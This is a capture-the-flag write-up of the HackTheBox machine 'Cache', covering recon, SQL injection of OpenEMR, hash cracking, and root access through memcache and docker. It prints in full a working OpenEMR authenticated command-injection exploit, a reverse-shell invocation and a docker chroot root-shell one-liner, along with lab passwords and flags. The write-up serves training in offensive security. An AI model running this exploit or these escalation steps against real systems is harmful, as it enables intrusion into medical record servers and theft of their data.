Information Gathering
Begin my recon with standard nmap
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.80SVN scan initiated Wed May 13 14:16:56 2020 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Cache/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Cache/scans/xml/_quick_tcp_nmap.xml hms.htb
Nmap scan report for hms.htb (10.10.10.188)
Host is up, received user-set (0.18s latency).
rDNS record for 10.10.10.188: cache
Scanned at 2020-05-13 14:16:56 +08 for 36s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open tcpwrapped syn-ack
| ssh-hostkey:
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
| 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6CE8D3334381134EB0A89D8FECE6EEB2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: OpenEMR Login
|_Requested resource was interface/login/login.php?site=default
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 13 14:17:32 2020 -- 1 IP address (1 host up) scanned in 36.41 seconds
Port opened: 22, 80
cache.htb
Visited the site, and look for useful info.
Home
Login
The login link clearly in the header nav, and I went to it straight away.
source code
Look at the source code, wish for juicy comments or so, and found unusual jquery dir
jquery/functionality.js
Look on the content, there was harcoded password and username ash
Successfully logged in using login link, but got site maintenance message
Author
Looking for another info, found probably another entry.
Just put hms.htb in my hosts file, and try access it
hms.htb
Went to the main site, redirected to /interface URL with login UI as openEMR service.
gobuster
Run basic scan with gobuster, returned lot of url.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/.hta (Status: 403) [Size: 272]
/.hta.html (Status: 403) [Size: 272]
/.hta.php (Status: 403) [Size: 272]
/.hta.asp (Status: 403) [Size: 272]
/.hta.aspx (Status: 403) [Size: 272]
/.hta.jsp (Status: 403) [Size: 272]
/.hta.txt (Status: 403) [Size: 272]
/.htaccess (Status: 403) [Size: 272]
/.htaccess.txt (Status: 403) [Size: 272]
/.htaccess.html (Status: 403) [Size: 272]
/.htaccess.php (Status: 403) [Size: 272]
/.htaccess.asp (Status: 403) [Size: 272]
/.htaccess.aspx (Status: 403) [Size: 272]
/.htaccess.jsp (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.htpasswd.jsp (Status: 403) [Size: 272]
/.htpasswd.txt (Status: 403) [Size: 272]
/.htpasswd.html (Status: 403) [Size: 272]
/.htpasswd.php (Status: 403) [Size: 272]
/.htpasswd.asp (Status: 403) [Size: 272]
/.htpasswd.aspx (Status: 403) [Size: 272]
/LICENSE (Status: 200) [Size: 35147]
/admin.php (Status: 200) [Size: 937]
/admin.php (Status: 200) [Size: 937]
/config (Status: 301) [Size: 303]
/contrib (Status: 301) [Size: 304]
/controller.php (Status: 200) [Size: 37]
/controllers (Status: 301) [Size: 308]
/custom (Status: 301) [Size: 303]
/images (Status: 301) [Size: 303]
/index.php (Status: 302) [Size: 0]
/index.php (Status: 302) [Size: 0]
/interface (Status: 301) [Size: 306]
/javascript (Status: 301) [Size: 307]
/library (Status: 301) [Size: 304]
/modules (Status: 301) [Size: 304]
/portal (Status: 301) [Size: 303]
/public (Status: 301) [Size: 303]
/server-status (Status: 403) [Size: 272]
/services (Status: 301) [Size: 305]
/setup.php (Status: 200) [Size: 1214]
/sites (Status: 301) [Size: 302]
/sql (Status: 301) [Size: 300]
/templates (Status: 301) [Size: 306]
/tests (Status: 301) [Size: 302]
admin.php
With promising name, admin.php, I tried to access it, and got openEMR version.
SearchSploit
Search about openEMR in searchsploit, well, it returned with several exploits, and the exact version listed as well.
Inspecting the exploit code, it needs authenticated user to run it. Using ash creds as above, failed. Gotta find the right cred.
Searching for another entry point, found useful reading material.
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf
Exploitation
SQLi
Following the article, that was a vuln report on exact version of openEMR. Read through it, got lot of sqli vuln. I picked add_edit_event_user.php
URL.
NOTE: The 1st url was find_appt_popup_user.php
, tested it, output was extremely slow, and I have to keep grabing new cookies for burp file. Due to that, I moved to 2nd url
SqlMap
First I intercept the request in burp and save it in file to supply it to sqlmap. With request file saved as burp
, run sqlmap with that file as request.
And sqli confirmed.
And got the creds
Crack the creds
With salted cred dumped, cracked it using john.
RCE script
Now I have the valid cred pair, I’m able to run the exploit code from searchsploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python
import argparse
import base64
import requests
import sys
ap = argparse.ArgumentParser(description="OpenEMR RCE")
ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr).")
ap.add_argument("-u", "--user", help="Admin username")
ap.add_argument("-p", "--password", help="Admin password")
ap.add_argument("-c", "--cmd", help="Command to run.")
args = ap.parse_args()
ascii = "> .---. ,---. ,---. .-. .-.,---. ,---. <\r\n"
ascii+= ">/ .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\ <\r\n"
ascii+= ">| | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/ <\r\n"
ascii+= ">| | | | | |--' | .-' | |\ || .-' (_)\/ || ( <\r\n"
ascii+= ">\ `-' / | | | `--.| | |)|| `--.| \ / || |\ \ <\r\n"
ascii+= "> )---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\ <\r\n"
ascii+= ">(_) (__) (__) (__) (__) '-' '-' (__) <\r\n"
ascii+= " \r\n"
ascii+= " ={> P R O J E C T I N S E C U R I T Y <}= \r\n"
ascii+= " \r\n"
ascii+= " Twitter : >@Insecurity< \r\n"
ascii+= " Site : >insecurity.sh< \r\n"
green = "\033[1;32m"
red = "\033[1;31m"
clear = "\033[0m"
load = "[>$<] ".replace(">", green).replace("<", clear)
err = "[>-<] ".replace(">", red).replace("<", clear)
intro = ascii.replace(">", green).replace("<", clear)
print(intro)
with requests.session() as s:
login = {"new_login_session_management": "1",
"authProvider": "Default",
"authUser": args.user,
"clearPass": args.password,
"languageChoice": "1"
}
print(load + "Authenticating with " + args.user + ":" + args.password)
r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=default", data=login)
if "login_screen.php?error=1&site=" in r.text:
print(err + "Failed to Login.")
sys.exit(0)
# This will rewrite and replace your current GLOBALS, please modify this if you don't want that.
payload = "form_save=Save&srch_desc=&form_0=main_info.php&form_1=..%2F..%2Finterface"
payload += "%2Fmain%2Fmessages%2Fmessages.php%3Fform_active%3D1&form_2=1&form_3=tabs_"
payload += "style_full.css&form_4=style_light.css&form_5=__default__&form_6=__default"
payload += "__&form_7=1&form_8=0&form_9=175&form_10=OpenEMR&form_12=1&form_13=0&form_"
payload += "14=0&form_16=1&form_21=1&form_22=1&form_23=1&form_24=1&form_25=http%3A%2F"
payload += "%2Fopen-emr.org%2F&form_26=&form_27=20&form_28=10&form_30=0&form_31=5&for"
payload += "m_32=0&form_37=English+%28Standard%29&form_38=1&form_42=1&form_43=1&form_"
payload += "44=1&form_45=1&form_46=1&form_47=1&form_48=1&form_49=1&form_50=1&form_51="
payload += "0&form_52=0&form_53=&form_54=2&form_55=.&form_56=%2C&form_57=%24&form_58="
payload += "0&form_59=3&form_60=6%2C0&form_61=0&form_62=0&form_63=_blank&form_69=1&fo"
payload += "rm_70=1&form_77=1&form_79=&form_80=&form_81=&form_84=1&form_85=1&form_87="
payload += "1&form_89=1&form_90=1&form_91=1&form_92=Y1&form_93=1&form_94=2&form_95=0&"
payload += "form_97=14&form_98=11&form_99=24&form_100=20&form_102=1&form_103=0&form_1"
payload += "04=0&form_105=ICD10&form_106=1&form_107=1&form_112=3&form_115=1&form_116="
payload += "&form_119=1.00&form_121=0&form_123=&form_125=30&form_126=&form_127=60&for"
payload += "m_128=&form_129=90&form_130=&form_131=120&form_132=&form_133=150&form_134"
payload += "=&form_135=1&form_138=1&form_139=1&form_141=1&form_142=0&form_143=localho"
payload += "st&form_144=&form_145=&form_146=5984&form_147=&form_150=Patient+ID+card&f"
payload += "orm_151=Patient+Photograph&form_152=Lab+Report&form_153=Lab+Report&form_1"
payload += "55=100&form_157=8&form_158=17&form_159=15&form_160=day&form_161=1&form_16"
payload += "2=2&form_163=1&form_164=10&form_165=10&form_166=15&form_167=20&form_168=1"
payload += "&form_169=%23FFFFFF&form_170=%23E6E6FF&form_171=%23E6FFE6&form_172=%23FFE"
payload += "6FF&form_173=1&form_174=0&form_176=1&form_177=1&form_178=1&form_181=1&for"
payload += "m_182=1&form_183=1&form_184=1&form_185=D0&form_186=D0&form_187=0%3A20&for"
payload += "m_188=0&form_190=33&form_191=0&form_194=7200&form_198=1&form_199=0&form_2"
payload += "00=0&form_202=&form_203=&form_204=365&form_205=&form_206=1&form_208=&form"
payload += "_210=&form_211=&form_212=&form_213=&form_214=&form_215=&form_216=SMTP&for"
payload += "m_217=localhost&form_218=25&form_219=&form_220=&form_221=&form_222=50&for"
payload += "m_223=50&form_224=&form_225=&form_226=&form_227=50&form_228=&form_229=&fo"
payload += "rm_230=&form_231=1&form_232=1&form_233=1&form_234=1&form_235=1&form_236=1"
payload += "&form_237=1&form_238=1&form_239=Model+Registry&form_240=125789123&form_24"
payload += "1=1&form_242=1&form_243=1&form_244=&form_245=&form_246=1&form_247=1&form_"
payload += "248=1&form_249=5&form_250=1&form_252=1&form_253=1&form_254=1&form_255=1&f"
payload += "orm_256=1&form_257=1&form_258=1&form_262=&form_263=6514&form_264=&form_26"
payload += "5=&form_267=1&form_268=0&form_269=%2Fusr%2Fbin&form_270=%2Fusr%2Fbin&form"
payload += "_271=%2Ftmp&form_272=%2Ftmp&form_273=26&form_274=state&form_275=1&form_27"
payload += "6=26&form_277=country&form_278=lpr+-P+HPLaserjet6P+-o+cpi%3D10+-o+lpi%3D6"
payload += "+-o+page-left%3D72+-o+page-top%3D72&form_279=&form_280=&form_282=2018-07-"
payload += "23&form_283=1&form_285=%2Fvar%2Fspool%2Fhylafax&form_286=enscript+-M+Lett"
payload += "er+-B+-e%5E+--margins%3D36%3A36%3A36%3A36&form_288=%2Fmnt%2Fscan_docs&for"
payload += "m_290=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fportal&form_292=1&form_"
payload += "296=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fpatients&form_297=1&form_"
payload += "299=&form_300=&form_301=&form_302=https%3A%2F%2Fssh.mydocsportal.com%2Fpr"
payload += "ovider.php&form_303=https%3A%2F%2Fssh.mydocsportal.com&form_305=https%3A%"
payload += "2F%2Fyour_cms_site.com%2F&form_306=&form_307=&form_308=0&form_309=https%3"
payload += "A%2F%2Fhapi.fhir.org%2FbaseDstu3%2F&form_312=https%3A%2F%2Fsecure.newcrop"
payload += "accounts.com%2FInterfaceV7%2FRxEntry.aspx&form_313=https%3A%2F%2Fsecure.n"
payload += "ewcropaccounts.com%2Fv7%2FWebServices%2FUpdate1.asmx%3FWSDL%3Bhttps%3A%2F"
payload += "%2Fsecure.newcropaccounts.com%2Fv7%2FWebServices%2FPatient.asmx%3FWSDL&fo"
payload += "rm_314=21600&form_315=21600&form_316=&form_317=&form_318=&form_319=1&form"
payload += "_324=&form_325=0&form_327=137&form_328=7C84773D5063B20BC9E41636A091C6F17E"
payload += "9C1E34&form_329=C36275&form_330=0&form_332=https%3A%2F%2Fphimail.example."
payload += "com%3A32541&form_333=&form_334=&form_335=admin&form_336=5&form_339=1&form"
payload += "_346=LETTER&form_347=30&form_348=30&form_349=72&form_350=30&form_351=P&fo"
payload += "rm_352=en&form_353=LETTER&form_354=5&form_355=5&form_356=5&form_357=8&for"
payload += "m_358=D&form_359=1&form_360=9&form_361=1&form_362=104.775&form_363=241.3&"
payload += "form_364=14&form_365=65&form_366=220"
p = {}
for c in payload.replace("&", "\n").splitlines():
a = c.split("=")
p.update({a[0]: a[1]})
# Linux only, but can be easily modified for Windows.
_cmd = "|| echo ".encode() + base64.b64encode(args.cmd.encode()) + "|base64 -d|bash".encode()
p.update({"form_284": _cmd})
print(load + "Injecting payload")
s.post(args.host + "/interface/super/edit_globals.php", data=p)
sp = s.get(args.host + "/interface/main/daemon_frame.php") # M4tt D4em0n w0z h3r3 ;PpPpp
if sp.status_code == 200:
print(load + "Payload executed")
run it as below:
python rce.py http://hms.htb -u openemr_admin -p xxxxxx -c "$(revsh | grep 'bash -i')"
NOTE: **revsh** is my script to get right command for reverse shell with ip and port defined
Got connection back!
Privesc
user enum
1
2
3
4
5
6
7
8
www-data@cache:/var/www/hms.htb/public_html/interface/main$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Sep 17 2019 .
drwxr-xr-x 23 root root 4096 May 5 11:14 ..
drwxr-xr-x 11 ash ash 4096 May 6 08:50 ash
drwxr-x--- 5 luffy luffy 4096 May 6 08:50 luffy
www-data@cache:/var/www/hms.htb/public_html/interface/main$
verify with /etc/passwd
1
2
3
4
5
6
www-data@cache:/home$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
www-data@cache:/home$
ash was a valid user in this machine.
su ash
ash as the same name found on the cache site, I tried to login with su.
su ash with pass H@v3_fun
Logged in as ash!!
Binary enum
Run my enum script, and search for binary run by root, saw docker program
Tried run docker by ash, got permission denied. Ash didn’t have permission to run docker, someone else does.
Memcache
In the same enum file, I saw memcache also run in this machine.
verify it, and got the port it listen.
Telnet
Follow this document, I was able to extract the exact info needed.
Run telnet to communicate with memcache
Run cachedump command to list the items
With that list, with get command, I manage to get luffy passwd, 0n3_p1ec3
su luffy
su luffy with 0n3_p1ec3
, I’m luffy now!!
docker
Now with luffy account, try to run docker again, worked.
The next step, pretty straight forward.
From GTFO bins, I can get root shell from docker service.
Victory
Run below command, I managed to spawn root shell:
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
priv | flag |
---|---|
user | 5f0c29a116aecd1248ebd16301fb167e |
root | 8b4153ff21a04367cc987a5c4e23281b |
Comments powered by Disqus.